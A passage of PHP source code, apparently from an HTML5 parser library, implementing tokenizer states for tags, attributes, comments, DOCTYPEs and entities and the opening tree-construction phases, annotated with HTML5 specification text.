$this->state = 'bogusComment';
} else {
/* Anything else
Parse error. Emit a U+003C LESS-THAN SIGN character token and
reconsume the current input character in the data state. */
$this->emitToken(
array(
'type' => self::CHARACTR,
'data' => '<'
)
);
$this->char--;
$this->state = 'data';
}
break;
}
}
private function closeTagOpenState()
{
$next_node = strtolower($this->characters('A-Za-z', $this->char + 1));
$the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName;
if (($this->content_model === self::RCDATA || $this->content_model === self::CDATA) &&
(!$the_same || ($the_same && (!preg_match(
'/[\t\n\x0b\x0c >\/]/',
$this->character($this->char + 1 + strlen($next_node))
) || $this->EOF === $this->char)))
) {
/* If the content model flag is set to the RCDATA or CDATA states then
examine the next few characters. If they do not match the tag name of
the last start tag token emitted (case insensitively), or if they do but
they are not immediately followed by one of the following characters:
* U+0009 CHARACTER TABULATION
* U+000A LINE FEED (LF)
* U+000B LINE TABULATION
* U+000C FORM FEED (FF)
* U+0020 SPACE
* U+003E GREATER-THAN SIGN (>)
* U+002F SOLIDUS (/)
* EOF
...then there is a parse error. Emit a U+003C LESS-THAN SIGN character
token, a U+002F SOLIDUS character token, and switch to the data state
to process the next input character. */
$this->emitToken(
array(
'type' => self::CHARACTR,
'data' => '</'
)
);
$this->state = 'data';
} else {
/* Otherwise, if the content model flag is set to the PCDATA state,
or if the next few characters do match that tag name, consume the
next input character: */
$this->char++;
$char = $this->char();
if (preg_match('/^[A-Za-z]$/', $char)) {
/* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z
Create a new end tag token, set its tag name to the lowercase version
of the input character (add 0x0020 to the character's code point), then
switch to the tag name state. (Don't emit the token yet; further details
will be filled in before it is emitted.) */
$this->token = array(
'name' => strtolower($char),
'type' => self::ENDTAG
);
$this->state = 'tagName';
} elseif ($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Parse error. Switch to the data state. */
$this->state = 'data';
} elseif ($this->char === $this->EOF) {
/* EOF
Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F
SOLIDUS character token. Reconsume the EOF character in the data state. */
$this->emitToken(
array(
'type' => self::CHARACTR,
'data' => '</'
)
);
$this->char--;
$this->state = 'data';
} else {
/* Parse error. Switch to the bogus comment state. */
$this->state = 'bogusComment';
}
}
}
private function tagNameState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Switch to the before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif ($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} elseif ($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the EOF
character in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} elseif ($char === '/') {
/* U+002F SOLIDUS (/)
Parse error unless this is a permitted slash. Switch to the before
attribute name state. */
$this->state = 'beforeAttributeName';
} else {
/* Anything else
Append the current input character to the current tag token's tag name.
Stay in the tag name state. */
$this->token['name'] .= strtolower($char);
$this->state = 'tagName';
}
}
private function beforeAttributeNameState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Stay in the before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif ($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} elseif ($char === '/') {
/* U+002F SOLIDUS (/)
Parse error unless this is a permitted slash. Stay in the before
attribute name state. */
$this->state = 'beforeAttributeName';
} elseif ($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the EOF
character in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
/* Anything else
Start a new attribute in the current tag token. Set that attribute's
name to the current input character, and its value to the empty string.
Switch to the attribute name state. */
$this->token['attr'][] = array(
'name' => strtolower($char),
'value' => null
);
$this->state = 'attributeName';
}
}
private function attributeNameState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Stay in the before attribute name state. */
$this->state = 'afterAttributeName';
} elseif ($char === '=') {
/* U+003D EQUALS SIGN (=)
Switch to the before attribute value state. */
$this->state = 'beforeAttributeValue';
} elseif ($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} elseif ($char === '/' && $this->character($this->char + 1) !== '>') {
/* U+002F SOLIDUS (/)
Parse error unless this is a permitted slash. Switch to the before
attribute name state. */
$this->state = 'beforeAttributeName';
} elseif ($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the EOF
character in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
/* Anything else
Append the current input character to the current attribute's name.
Stay in the attribute name state. */
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['name'] .= strtolower($char);
$this->state = 'attributeName';
}
}
private function afterAttributeNameState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Stay in the after attribute name state. */
$this->state = 'afterAttributeName';
} elseif ($char === '=') {
/* U+003D EQUALS SIGN (=)
Switch to the before attribute value state. */
$this->state = 'beforeAttributeValue';
} elseif ($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} elseif ($char === '/' && $this->character($this->char + 1) !== '>') {
/* U+002F SOLIDUS (/)
Parse error unless this is a permitted slash. Switch to the
before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif ($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the EOF
character in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
/* Anything else
Start a new attribute in the current tag token. Set that attribute's
name to the current input character, and its value to the empty string.
Switch to the attribute name state. */
$this->token['attr'][] = array(
'name' => strtolower($char),
'value' => null
);
$this->state = 'attributeName';
}
}
private function beforeAttributeValueState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Stay in the before attribute value state. */
$this->state = 'beforeAttributeValue';
} elseif ($char === '"') {
/* U+0022 QUOTATION MARK (")
Switch to the attribute value (double-quoted) state. */
$this->state = 'attributeValueDoubleQuoted';
} elseif ($char === '&') {
/* U+0026 AMPERSAND (&)
Switch to the attribute value (unquoted) state and reconsume
this input character. */
$this->char--;
$this->state = 'attributeValueUnquoted';
} elseif ($char === '\'') {
/* U+0027 APOSTROPHE (')
Switch to the attribute value (single-quoted) state. */
$this->state = 'attributeValueSingleQuoted';
} elseif ($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} else {
/* Anything else
Append the current input character to the current attribute's value.
Switch to the attribute value (unquoted) state. */
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['value'] .= $char;
$this->state = 'attributeValueUnquoted';
}
}
private function attributeValueDoubleQuotedState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if ($char === '"') {
/* U+0022 QUOTATION MARK (")
Switch to the before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif ($char === '&') {
/* U+0026 AMPERSAND (&)
Switch to the entity in attribute value state. */
$this->entityInAttributeValueState('double');
} elseif ($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the character
in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
/* Anything else
Append the current input character to the current attribute's value.
Stay in the attribute value (double-quoted) state. */
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['value'] .= $char;
$this->state = 'attributeValueDoubleQuoted';
}
}
private function attributeValueSingleQuotedState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if ($char === '\'') {
/* U+0022 QUOTATION MARK (')
Switch to the before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif ($char === '&') {
/* U+0026 AMPERSAND (&)
Switch to the entity in attribute value state. */
$this->entityInAttributeValueState('single');
} elseif ($this->char === $this->EOF) {
/* EOF
Parse error. Emit the current tag token. Reconsume the character
in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
/* Anything else
Append the current input character to the current attribute's value.
Stay in the attribute value (single-quoted) state. */
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['value'] .= $char;
$this->state = 'attributeValueSingleQuoted';
}
}
private function attributeValueUnquotedState()
{
// Consume the next input character:
$this->char++;
$char = $this->character($this->char);
if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
/* U+0009 CHARACTER TABULATION
U+000A LINE FEED (LF)
U+000B LINE TABULATION
U+000C FORM FEED (FF)
U+0020 SPACE
Switch to the before attribute name state. */
$this->state = 'beforeAttributeName';
} elseif ($char === '&') {
/* U+0026 AMPERSAND (&)
Switch to the entity in attribute value state. */
$this->entityInAttributeValueState();
} elseif ($char === '>') {
/* U+003E GREATER-THAN SIGN (>)
Emit the current tag token. Switch to the data state. */
$this->emitToken($this->token);
$this->state = 'data';
} else {
/* Anything else
Append the current input character to the current attribute's value.
Stay in the attribute value (unquoted) state. */
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['value'] .= $char;
$this->state = 'attributeValueUnquoted';
}
}
private function entityInAttributeValueState()
{
// Attempt to consume an entity.
$entity = $this->entity();
// If nothing is returned, append a U+0026 AMPERSAND character to the
// current attribute's value. Otherwise, emit the character token that
// was returned.
$char = (!$entity)
? '&'
: $entity;
$last = count($this->token['attr']) - 1;
$this->token['attr'][$last]['value'] .= $char;
}
private function bogusCommentState()
{
/* Consume every character up to the first U+003E GREATER-THAN SIGN
character (>) or the end of the file (EOF), whichever comes first. Emit
a comment token whose data is the concatenation of all the characters
starting from and including the character that caused the state machine
to switch into the bogus comment state, up to and including the last
consumed character before the U+003E character, if any, or up to the
end of the file otherwise. (If the comment was started by the end of
the file (EOF), the token is empty.) */
$data = $this->characters('^>', $this->char);
$this->emitToken(
array(
'data' => $data,
'type' => self::COMMENT
)
);
$this->char += strlen($data);
/* Switch to the data state. */
$this->state = 'data';
/* If the end of the file was reached, reconsume the EOF character. */
if ($this->char === $this->EOF) {
$this->char = $this->EOF - 1;
}
}
private function markupDeclarationOpenState()
{
/* If the next two characters are both U+002D HYPHEN-MINUS (-)
characters, consume those two characters, create a comment token whose
data is the empty string, and switch to the comment state. */
if ($this->character($this->char + 1, 2) === '--') {
$this->char += 2;
$this->state = 'comment';
$this->token = array(
'data' => null,
'type' => self::COMMENT
);
/* Otherwise if the next seven chacacters are a case-insensitive match
for the word "DOCTYPE", then consume those characters and switch to the
DOCTYPE state. */
} elseif (strtolower($this->character($this->char + 1, 7)) === 'doctype') {
$this->char += 7;
$this->state = 'doctype';
/* Otherwise, is is a parse error. Switch to the bogus comment state.
The next character that is consumed, if any, is the first character
that will be in the comment. */
} else {
$this->char++;
$this->state = 'bogusComment';
}
}
private function commentState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
/* U+002D HYPHEN-MINUS (-) */
if ($char === '-') {
/* Switch to the comment dash state */
$this->state = 'commentDash';
/* EOF */
} elseif ($this->char === $this->EOF) {
/* Parse error. Emit the comment token. Reconsume the EOF character
in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
/* Anything else */
} else {
/* Append the input character to the comment token's data. Stay in
the comment state. */
$this->token['data'] .= $char;
}
}
private function commentDashState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
/* U+002D HYPHEN-MINUS (-) */
if ($char === '-') {
/* Switch to the comment end state */
$this->state = 'commentEnd';
/* EOF */
} elseif ($this->char === $this->EOF) {
/* Parse error. Emit the comment token. Reconsume the EOF character
in the data state. */
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
/* Anything else */
} else {
/* Append a U+002D HYPHEN-MINUS (-) character and the input
character to the comment token's data. Switch to the comment state. */
$this->token['data'] .= '-' . $char;
$this->state = 'comment';
}
}
private function commentEndState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if ($char === '>') {
$this->emitToken($this->token);
$this->state = 'data';
} elseif ($char === '-') {
$this->token['data'] .= '-';
} elseif ($this->char === $this->EOF) {
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
$this->token['data'] .= '--' . $char;
$this->state = 'comment';
}
}
private function doctypeState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
$this->state = 'beforeDoctypeName';
} else {
$this->char--;
$this->state = 'beforeDoctypeName';
}
}
private function beforeDoctypeNameState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
// Stay in the before DOCTYPE name state.
} elseif (preg_match('/^[a-z]$/', $char)) {
$this->token = array(
'name' => strtoupper($char),
'type' => self::DOCTYPE,
'error' => true
);
$this->state = 'doctypeName';
} elseif ($char === '>') {
$this->emitToken(
array(
'name' => null,
'type' => self::DOCTYPE,
'error' => true
)
);
$this->state = 'data';
} elseif ($this->char === $this->EOF) {
$this->emitToken(
array(
'name' => null,
'type' => self::DOCTYPE,
'error' => true
)
);
$this->char--;
$this->state = 'data';
} else {
$this->token = array(
'name' => $char,
'type' => self::DOCTYPE,
'error' => true
);
$this->state = 'doctypeName';
}
}
private function doctypeNameState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
$this->state = 'AfterDoctypeName';
} elseif ($char === '>') {
$this->emitToken($this->token);
$this->state = 'data';
} elseif (preg_match('/^[a-z]$/', $char)) {
$this->token['name'] .= strtoupper($char);
} elseif ($this->char === $this->EOF) {
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
$this->token['name'] .= $char;
}
$this->token['error'] = ($this->token['name'] === 'HTML')
? false
: true;
}
private function afterDoctypeNameState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
// Stay in the DOCTYPE name state.
} elseif ($char === '>') {
$this->emitToken($this->token);
$this->state = 'data';
} elseif ($this->char === $this->EOF) {
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
$this->token['error'] = true;
$this->state = 'bogusDoctype';
}
}
private function bogusDoctypeState()
{
/* Consume the next input character: */
$this->char++;
$char = $this->char();
if ($char === '>') {
$this->emitToken($this->token);
$this->state = 'data';
} elseif ($this->char === $this->EOF) {
$this->emitToken($this->token);
$this->char--;
$this->state = 'data';
} else {
// Stay in the bogus DOCTYPE state.
}
}
private function entity()
{
$start = $this->char;
// This section defines how to consume an entity. This definition is
// used when parsing entities in text and in attributes.
// The behaviour depends on the identity of the next character (the
// one immediately after the U+0026 AMPERSAND character):
switch ($this->character($this->char + 1)) {
// U+0023 NUMBER SIGN (#)
case '#':
// The behaviour further depends on the character after the
// U+0023 NUMBER SIGN:
switch ($this->character($this->char + 1)) {
// U+0078 LATIN SMALL LETTER X
// U+0058 LATIN CAPITAL LETTER X
case 'x':
case 'X':
// Follow the steps below, but using the range of
// characters U+0030 DIGIT ZERO through to U+0039 DIGIT
// NINE, U+0061 LATIN SMALL LETTER A through to U+0066
// LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER
// A, through to U+0046 LATIN CAPITAL LETTER F (in other
// words, 0-9, A-F, a-f).
$char = 1;
$char_class = '0-9A-Fa-f';
break;
// Anything else
default:
// Follow the steps below, but using the range of
// characters U+0030 DIGIT ZERO through to U+0039 DIGIT
// NINE (i.e. just 0-9).
$char = 0;
$char_class = '0-9';
break;
}
// Consume as many characters as match the range of characters
// given above.
$this->char++;
$e_name = $this->characters($char_class, $this->char + $char + 1);
$entity = $this->character($start, $this->char);
$cond = strlen($e_name) > 0;
// The rest of the parsing happens below.
break;
// Anything else
default:
// Consume the maximum number of characters possible, with the
// consumed characters case-sensitively matching one of the
// identifiers in the first column of the entities table.
$e_name = $this->characters('0-9A-Za-z;', $this->char + 1);
$len = strlen($e_name);
for ($c = 1; $c <= $len; $c++) {
$id = substr($e_name, 0, $c);
$this->char++;
if (in_array($id, $this->entities)) {
if ($e_name[$c - 1] !== ';') {
if ($c < $len && $e_name[$c] == ';') {
$this->char++; // consume extra semicolon
}
}
$entity = $id;
break;
}
}
$cond = isset($entity);
// The rest of the parsing happens below.
break;
}
if (!$cond) {
// If no match can be made, then this is a parse error. No
// characters are consumed, and nothing is returned.
$this->char = $start;
return false;
}
// Return a character token for the character corresponding to the
// entity name (as given by the second column of the entities table).
return html_entity_decode('&' . rtrim($entity, ';') . ';', ENT_QUOTES, 'UTF-8');
}
private function emitToken($token)
{
$emit = $this->tree->emitToken($token);
if (is_int($emit)) {
$this->content_model = $emit;
} elseif ($token['type'] === self::ENDTAG) {
$this->content_model = self::PCDATA;
}
}
private function EOF()
{
$this->state = null;
$this->tree->emitToken(
array(
'type' => self::EOF
)
);
}
}
class HTML5TreeConstructer
{
public $stack = array();
private $phase;
private $mode;
private $dom;
private $foster_parent = null;
private $a_formatting = array();
private $head_pointer = null;
private $form_pointer = null;
private $scoping = array('button', 'caption', 'html', 'marquee', 'object', 'table', 'td', 'th');
private $formatting = array(
'a',
'b',
'big',
'em',
'font',
'i',
'nobr',
's',
'small',
'strike',
'strong',
'tt',
'u'
);
private $special = array(
'address',
'area',
'base',
'basefont',
'bgsound',
'blockquote',
'body',
'br',
'center',
'col',
'colgroup',
'dd',
'dir',
'div',
'dl',
'dt',
'embed',
'fieldset',
'form',
'frame',
'frameset',
'h1',
'h2',
'h3',
'h4',
'h5',
'h6',
'head',
'hr',
'iframe',
'image',
'img',
'input',
'isindex',
'li',
'link',
'listing',
'menu',
'meta',
'noembed',
'noframes',
'noscript',
'ol',
'optgroup',
'option',
'p',
'param',
'plaintext',
'pre',
'script',
'select',
'spacer',
'style',
'tbody',
'textarea',
'tfoot',
'thead',
'title',
'tr',
'ul',
'wbr'
);
// The different phases.
const INIT_PHASE = 0;
const ROOT_PHASE = 1;
const MAIN_PHASE = 2;
const END_PHASE = 3;
// The different insertion modes for the main phase.
const BEFOR_HEAD = 0;
const IN_HEAD = 1;
const AFTER_HEAD = 2;
const IN_BODY = 3;
const IN_TABLE = 4;
const IN_CAPTION = 5;
const IN_CGROUP = 6;
const IN_TBODY = 7;
const IN_ROW = 8;
const IN_CELL = 9;
const IN_SELECT = 10;
const AFTER_BODY = 11;
const IN_FRAME = 12;
const AFTR_FRAME = 13;
// The different types of elements.
const SPECIAL = 0;
const SCOPING = 1;
const FORMATTING = 2;
const PHRASING = 3;
const MARKER = 0;
public function __construct()
{
$this->phase = self::INIT_PHASE;
$this->mode = self::BEFOR_HEAD;
$this->dom = new DOMDocument;
$this->dom->encoding = 'UTF-8';
$this->dom->preserveWhiteSpace = true;
$this->dom->substituteEntities = true;
$this->dom->strictErrorChecking = false;
}
// Process tag tokens
public function emitToken($token)
{
switch ($this->phase) {
case self::INIT_PHASE:
return $this->initPhase($token);
break;
case self::ROOT_PHASE:
return $this->rootElementPhase($token);
break;
case self::MAIN_PHASE:
return $this->mainPhase($token);
break;
case self::END_PHASE :
return $this->trailingEndPhase($token);
break;
}
}
private function initPhase($token)
{
/* Initially, the tree construction stage must handle each token
emitted from the tokenisation stage as follows: */
/* A DOCTYPE token that is marked as being in error
A comment token
A start tag token
An end tag token
A character token that is not one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE
An end-of-file token */
if ((isset($token['error']) && $token['error']) ||
$token['type'] === HTML5::COMMENT ||
$token['type'] === HTML5::STARTTAG ||
$token['type'] === HTML5::ENDTAG ||
$token['type'] === HTML5::EOF ||
($token['type'] === HTML5::CHARACTR && isset($token['data']) &&
!preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))
) {
/* This specification does not define how to handle this case. In
particular, user agents may ignore the entirety of this specification
altogether for such documents, and instead invoke special parse modes
with a greater emphasis on backwards compatibility. */
$this->phase = self::ROOT_PHASE;
return $this->rootElementPhase($token);
/* A DOCTYPE token marked as being correct */
} elseif (isset($token['error']) && !$token['error']) {
/* Append a DocumentType node to the Document node, with the name
attribute set to the name given in the DOCTYPE token (which will be
"HTML"), and the other attributes specific to DocumentType objects
set to null, empty lists, or the empty string as appropriate. */
$doctype = new DOMDocumentType(null, null, 'HTML');
/* Then, switch to the root element phase of the tree construction
stage. */
$this->phase = self::ROOT_PHASE;
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
} elseif (isset($token['data']) && preg_match(
'/^[\t\n\x0b\x0c ]+$/',
$token['data']
)
) {
/* Append that character to the Document node. */
$text = $this->dom->createTextNode($token['data']);
$this->dom->appendChild($text);
}
}
private function rootElementPhase($token)
{
/* After the initial phase, as each token is emitted from the tokenisation
stage, it must be processed as described in this section. */
/* A DOCTYPE token */
if ($token['type'] === HTML5::DOCTYPE) {
// Parse error. Ignore the token.
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the Document object with the data
attribute set to the data given in the comment token. */
$comment = $this->dom->createComment($token['data']);
$this->dom->appendChild($comment);
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
} elseif ($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
) {
/* Append that character to the Document node. */
$text = $this->dom->createTextNode($token['data']);
$this->dom->appendChild($text);
/* A character token that is not one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED
(FF), or U+0020 SPACE
A start tag token
An end tag token
An end-of-file token */
} elseif (($token['type'] === HTML5::CHARACTR &&
!preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) ||
$token['type'] === HTML5::STARTTAG ||
$token['type'] === HTML5::ENDTAG ||
$token['type'] === HTML5::EOF
) {
/* Create an HTMLElement node with the tag name html, in the HTML
namespace. Append it to the Document object. Switch to the main
phase and reprocess the current token. */
$html = $this->dom->createElement('html');
$this->dom->appendChild($html);
$this->stack[] = $html;
$this->phase = self::MAIN_PHASE;
return $this->mainPhase($token);
}
}
private function mainPhase($token)
{
/* Tokens in the main phase must be handled as follows: */
/* A DOCTYPE token */
if ($token['type'] === HTML5::DOCTYPE) {
// Parse error. Ignore the token.
/* A start tag token with the tag name "html" */
} elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') {
/* If this start tag token was not the first start tag token, then
it is a parse error. */
/* For each attribute on the token, check to see if the attribute
is already present on the top element of the stack of open elements.
If it is not, add the attribute and its corresponding value to that
element. */
foreach ($token['attr'] as $attr) {
if (!$this->stack[0]->hasAttribute($attr['name'])) {
$this->stack[0]->setAttribute($attr['name'], $attr['value']);
}
}
/* An end-of-file token */
} elseif ($token['type'] === HTML5::EOF) {
/* Generate implied end tags. */
$this->generateImpliedEndTags();
/* Anything else. */
} else {
/* Depends on the insertion mode: */
switch ($this->mode) {
case self::BEFOR_HEAD:
return $this->beforeHead($token);
break;
case self::IN_HEAD:
return $this->inHead($token);
break;
case self::AFTER_HEAD:
return $this->afterHead($token);
break;
case self::IN_BODY:
return $this->inBody($token);
break;
case self::IN_TABLE:
return $this->inTable($token);
break;
case self::IN_CAPTION:
return $this->inCaption($token);
break;
case self::IN_CGROUP:
return $this->inColumnGroup($token);
break;
case self::IN_TBODY:
return $this->inTableBody($token);
break;
case self::IN_ROW:
return $this->inRow($token);
break;
case self::IN_CELL:
return $this->inCell($token);
break;
case self::IN_SELECT:
return $this->inSelect($token);
break;
case self::AFTER_BODY:
return $this->afterBody($token);
break;
case self::IN_FRAME:
return $this->inFrameset($token);
break;
case self::AFTR_FRAME:
return $this->afterFrameset($token);
break;
case self::END_PHASE:
return $this->trailingEndPhase($token);
break;
}
}
}
private function beforeHead($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
if ($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
) {
/* Append the character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data attribute
set to the data given in the comment token. */
$this->insertComment($token['data']);
/* A start tag token with the tag name "head" */
} elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') {
/* Create an element for the token, append the new element to the
current node and push it onto the stack of open elements. */
$element = $this->insertElement($token);
/* Set the head element pointer to this new element node. */
$this->head_pointer = $element;
/* Change the insertion mode to "in head". */
$this->mode = self::IN_HEAD;
/* A start tag token whose tag name is one of: "base", "link", "meta",
"script", "style", "title". Or an end tag with the tag name "html".
Or a character token that is not one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE. Or any other start tag token */
} elseif ($token['type'] === HTML5::STARTTAG ||
($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') ||
($token['type'] === HTML5::CHARACTR && !preg_match(
'/^[\t\n\x0b\x0c ]$/',
$token['data']
))
) {
/* Act as if a start tag token with the tag name "head" and no
attributes had been seen, then reprocess the current token. */
$this->beforeHead(
array(
'name' => 'head',
'type' => HTML5::STARTTAG,
'attr' => array()
)
);
return $this->inHead($token);
/* Any other end tag */
} elseif ($token['type'] === HTML5::ENDTAG) {
/* Parse error. Ignore the token. */
}
}
private function inHead($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE.
THIS DIFFERS FROM THE SPEC: If the current node is either a title, style
or script element, append the character to the current node regardless
of its content. */
if (($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || (
$token['type'] === HTML5::CHARACTR && in_array(
end($this->stack)->nodeName,
array('title', 'style', 'script')
))
) {
/* Append the character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif ($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data attribute
set to the data given in the comment token. */
$this->insertComment($token['data']);
} elseif ($token['type'] === HTML5::ENDTAG &&
in_array($token['name'], array('title', 'style', 'script'))
) {
array_pop($this->stack);
return HTML5::PCDATA;
/* A start tag with the tag name "title" */
} elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') {
/* Create an element for the token and append the new element to the
node pointed to by the head element pointer, or, if that is null
(innerHTML case), to the current node. */
if ($this->head_pointer !== null) {
$element = $this->insertElement($token, false);
$this->head_pointer->appendChild($element);
} else {
$element = $this->insertElement($token);
}
/* Switch the tokeniser's content model flag to the RCDATA state. */
return HTML5::RCDATA;
/* A start tag with the tag name "style" */
} elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') {
/* Create an element for the token and append the new element to the
node pointed to by the head element pointer, or, if that is null
(innerHTML case), to the current node. */
if ($this->head_pointer !== null) {
$element = $this->insertElement($token, false);
$this->head_pointer->appendChild($element);
} else {
$this->insertElement($token);
}
/* Switch the tokeniser's content model flag to the CDATA state. */
return HTML5::CDATA;
/* A start tag with the tag name "script" */
} elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') {
/* Create an element for the token. */
$element = $this->insertElement($token, false);
$this->head_pointer->appendChild($element);
/* Switch the tokeniser's content model flag to the CDATA state. */
return HTML5::CDATA;
/* A start tag with the tag name "base", "link", or "meta" */
} elseif ($token['type'] === HTML5::STARTTAG && in_array(
$token['name'],
array('base', 'link', 'meta')
)
) {
/* Create an element for the token and append the new element to the
node pointed to by the head element pointer, or, if that is null
(innerHTML case), to the current node. */
if ($this->head_pointer !== null) {
$element = $this->insertElement($token, false);
$this->head_pointer->appendChild($element);
array_pop($this->stack);
} else {
$this->insertElement($token);
}
/* An end tag with the tag name "head" */
} elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') {
/* If the current node is a head element, pop the current node off
the stack of open elements. */
if ($this->head_pointer->isSameNode(end($this->stack))) {
array_pop($this->stack);
/* Otherwise, this is a parse error. */
} else {
// k
}
/* Change the insertion mode to "after head". */
$this->mode = self::AFTER_HEAD;
/* A start tag with the tag name "head" or an end tag except "html". */
} elseif (($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') ||
($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')
) {
